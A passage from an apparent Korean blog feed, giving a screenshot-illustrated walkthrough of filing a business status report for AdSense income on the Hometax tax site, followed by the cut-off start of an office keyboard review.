&lt;figure id=&quot;og_1673169386189&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;국세청 홈택스&quot; data-og-description=&quot;&quot; data-og-host=&quot;hometax.go.kr&quot; data-og-source-url=&quot;https://hometax.go.kr&quot; data-og-url=&quot;https://hometax.go.kr&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://hometax.go.kr&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://hometax.go.kr&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;국세청 홈택스&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;hometax.go.kr&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ 신고 페이지&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;신고 기간이 되면&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;Hometax 메인에&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;바로 접속할 수 있는&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;배너가 나타나지만&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1141&quot; data-origin-height=&quot;647&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ddkBJb/btrXz0nBNiB/DtnOw7T4r0DKMFZSCI2EA0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ddkBJb/btrXz0nBNiB/DtnOw7T4r0DKMFZSCI2EA0/img.png&quot; data-alt=&quot;바로 접속 가능한 배너&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ddkBJb/btrXz0nBNiB/DtnOw7T4r0DKMFZSCI2EA0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FddkBJb%2FbtrXz0nBNiB%2FDtnOw7T4r0DKMFZSCI2EA0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;284&quot; data-origin-width=&quot;1141&quot; data-origin-height=&quot;647&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;바로 접속 가능한 배너&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;없을 경우&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;사업장 현황 신고 페이지는&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 경로를 따르면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;사업장현황신서 페이지:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;신고/납부 &amp;gt; 일반신고 &amp;gt; 사업장현황 신고 &amp;gt; 사업장현황신고서 작성하기&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1022&quot; data-origin-height=&quot;664&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WBIeB/btrVF82tjAZ/0TJbY0kRFkOZySMm4sDUfk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WBIeB/btrVF82tjAZ/0TJbY0kRFkOZySMm4sDUfk/img.png&quot; data-alt=&quot;신고/납부 &amp;amp;gt; 일반신고 &amp;amp;gt; 사업장현황 신고&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WBIeB/btrVF82tjAZ/0TJbY0kRFkOZySMm4sDUfk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWBIeB%2FbtrVF82tjAZ%2F0TJbY0kRFkOZySMm4sDUfk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;325&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1022&quot; data-origin-height=&quot;664&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;신고/납부 &amp;gt; 일반신고 &amp;gt; 사업장현황 신고&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1021&quot; data-origin-height=&quot;761&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RBl6U/btrVA0YFA4E/nAdBP6bGAXMIhom7OT8GYK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RBl6U/btrVA0YFA4E/nAdBP6bGAXMIhom7OT8GYK/img.png&quot; data-alt=&quot;사업현황신고서 작성하기&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RBl6U/btrVA0YFA4E/nAdBP6bGAXMIhom7OT8GYK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRBl6U%2FbtrVA0YFA4E%2FnAdBP6bGAXMIhom7OT8GYK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;373&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1021&quot; data-origin-height=&quot;761&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;사업현황신고서 작성하기&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 신고하기&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;매출/매입처별 계산서 합계표를 작성해야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전자신고가 가능하니 꼭 서면으로 할 필요는 없습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ 기본정보 입력&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사업자 번호, 인적 사항 등&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본 정보를 입력합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첨부서류의 경우,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;애드센스 수익만으론&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서류가 필요 없으므로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;해당없음/미제출&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로 저장합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1912&quot; data-origin-height=&quot;1781&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nLfdu/btrXuaq7VQI/RDgI4IpnDDcN7hkwlt9BO0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nLfdu/btrXuaq7VQI/RDgI4IpnDDcN7hkwlt9BO0/img.png&quot; data-alt=&quot;기본정보 입력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nLfdu/btrXuaq7VQI/RDgI4IpnDDcN7hkwlt9BO0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnLfdu%2FbtrXuaq7VQI%2FRDgI4IpnDDcN7hkwlt9BO0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;466&quot; data-origin-width=&quot;1912&quot; data-origin-height=&quot;1781&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;기본정보 입력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ 수입금액내역&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수입금액을 입력하기 위해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 &lt;u&gt;&lt;b&gt;업종코드를 입력&lt;/b&gt;&lt;/u&gt;합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1885&quot; data-origin-height=&quot;1498&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/duuonb/btrXwibmpH7/V380Zah9ZtXZ3kmpg12kx1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/duuonb/btrXwibmpH7/V380Zah9ZtXZ3kmpg12kx1/img.png&quot; data-alt=&quot;업종코드 입력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/duuonb/btrXwibmpH7/V380Zah9ZtXZ3kmpg12kx1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fduuonb%2FbtrXwibmpH7%2FV380Zah9ZtXZ3kmpg12kx1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;397&quot; data-origin-width=&quot;1885&quot; data-origin-height=&quot;1498&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;업종코드 입력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;검색란에 &quot;1인미디어&quot; 를&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;입력하고 조회&lt;/b&gt;&lt;/u&gt;하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;94036 기타자영업 1인미디어콘텐츠&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가 검색 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단, 사업자 신고가 다른 사업으로 된 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 사업 분류명으로 검색해야합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2193&quot; data-origin-height=&quot;1446&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btf4R0/btrXtSRFVLe/Vahb1987FRhgAJhK4tNKO0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btf4R0/btrXtSRFVLe/Vahb1987FRhgAJhK4tNKO0/img.png&quot; data-alt=&quot;업종 검색 및 선택&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btf4R0/btrXtSRFVLe/Vahb1987FRhgAJhK4tNKO0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbtf4R0%2FbtrXtSRFVLe%2FVahb1987FRhgAJhK4tNKO0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;330&quot; data-origin-width=&quot;2193&quot; data-origin-height=&quot;1446&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;업종 검색 및 선택&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;업종을 선택했으면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지난 1년간 애드센스 수익을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;수익금액과 기타매출&lt;/b&gt;&lt;/u&gt;에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;동일하게 입력&lt;/b&gt;&lt;/u&gt;하면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1927&quot; data-origin-height=&quot;1792&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Va2W1/btrXypuBUCv/5ynU76FNKGMMR6fKoXsdeK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Va2W1/btrXypuBUCv/5ynU76FNKGMMR6fKoXsdeK/img.png&quot; data-alt=&quot;수익금 입력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Va2W1/btrXypuBUCv/5ynU76FNKGMMR6fKoXsdeK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVa2W1%2FbtrXypuBUCv%2F5ynU76FNKGMMR6fKoXsdeK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;465&quot; data-origin-width=&quot;1927&quot; data-origin-height=&quot;1792&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;수익금 입력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;애드센스 수익금의 경우,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저는 외화 입금 시&lt;span&gt;&amp;nbsp;&lt;/span&gt;한화로 환전되어&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제 통장에 들어오기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;통장 입금 내역에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일일이 찾아 확인했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ 매입적격증빙수취내역&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;애드센스 수익은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;신용카드, 현금영수증 수익 등이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;발생하지 않으므로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;넘어가시면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1887&quot; data-origin-height=&quot;1595&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b85rRp/btrXwhXW8uQ/R4eMEAYlTJaZKU8UxwYnAk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b85rRp/btrXwhXW8uQ/R4eMEAYlTJaZKU8UxwYnAk/img.png&quot; data-alt=&quot;신고서 작성완료&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b85rRp/btrXwhXW8uQ/R4eMEAYlTJaZKU8UxwYnAk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb85rRp%2FbtrXwhXW8uQ%2FR4eMEAYlTJaZKU8UxwYnAk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;423&quot; data-origin-width=&quot;1887&quot; data-origin-height=&quot;1595&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;신고서 작성완료&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ 신고서 제출&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;끝으로 마지막 화면에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞에서 입력한 내용들을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 확인한 후&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제출하면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1882&quot; data-origin-height=&quot;1038&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PMyZ3/btrXn8nX0wU/gkQlggqRP52y7fzj2DDP2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PMyZ3/btrXn8nX0wU/gkQlggqRP52y7fzj2DDP2K/img.png&quot; data-alt=&quot;신고서 제출&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PMyZ3/btrXn8nX0wU/gkQlggqRP52y7fzj2DDP2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPMyZ3%2FbtrXn8nX0wU%2FgkQlggqRP52y7fzj2DDP2K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;276&quot; data-origin-width=&quot;1882&quot; data-origin-height=&quot;1038&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;신고서 제출&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 신고 확인&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;신고 내용은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사업장현황 신고와&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동일한 페이지에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;사업장현황신서 페이지:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;신고/납부 &amp;gt; 일반신고 &amp;gt; 사업장현황 신고 &amp;gt; Step 2. 제출내역 &amp;gt; 조회하기&lt;br /&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2358&quot; data-origin-height=&quot;1249&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/beesD4/btrXwjO1T4g/Rkt1kKauxnfMMZj7bDI3R0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/beesD4/btrXwjO1T4g/Rkt1kKauxnfMMZj7bDI3R0/img.png&quot; data-alt=&quot;제출내역 조회&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/beesD4/btrXwjO1T4g/Rkt1kKauxnfMMZj7bDI3R0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbeesD4%2FbtrXwjO1T4g%2FRkt1kKauxnfMMZj7bDI3R0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;265&quot; data-origin-width=&quot;2358&quot; data-origin-height=&quot;1249&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;제출내역 조회&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>재테크/기타</category>
      <category>개인사업자</category>
      <category>면세사업자</category>
      <category>부가가치세</category>
      <category>사업장현황신고</category>
      <category>애드센스</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/175</guid>
      <comments>https://chmodi.tistory.com/175#entry175comment</comments>
      <pubDate>Sun, 8 Jan 2023 20:05:36 +0900</pubDate>
    </item>
    <item>
      <title>사무실용 기계식 저소음 키보드 COX CK01 TKL PBT SL 실사용 후기</title>
      <link>https://chmodi.tistory.com/174</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;집에서 사용하는 키보드가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;청축과 적축 두개라&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사무실에서 쓰기엔&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주변사람들에게&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;너무 피해가 가서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조용한 키보드를 찾던 중&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저렴한 가성비 가격에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조용한 키보드를 찾아&lt;/p&gt;
